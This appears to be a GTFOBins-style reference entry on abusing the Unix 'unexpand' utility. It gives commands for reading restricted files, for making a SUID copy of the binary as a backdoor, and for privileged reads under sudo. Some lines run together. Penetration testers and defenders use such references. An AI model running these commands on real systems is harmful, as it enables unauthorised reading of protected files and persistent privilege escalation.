It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.
LFILE=file_to_read unexpand -t99999999 "$LFILE"
It runs with the SUID bit set and may be exploited to access the file
system, escalate or maintain access with elevated privileges working as a
SUID backdoor. If it is used to run
sh -p, omit the
-p argument on systems
like Debian that allow the default
sh shell to run with SUID privileges.
cp $(which unexpand) . sudo sh -c 'chown 0 ./unexpand; chmod +s ./unexpand' LFILE=file_to_read ./unexpand -t99999999 "$LFILE"
It runs in privileged context and may be used to access the file system,
escalate or maintain access with elevated privileges if enabled on
LFILE=file_to_read sudo unexpand -t99999999 "$LFILE"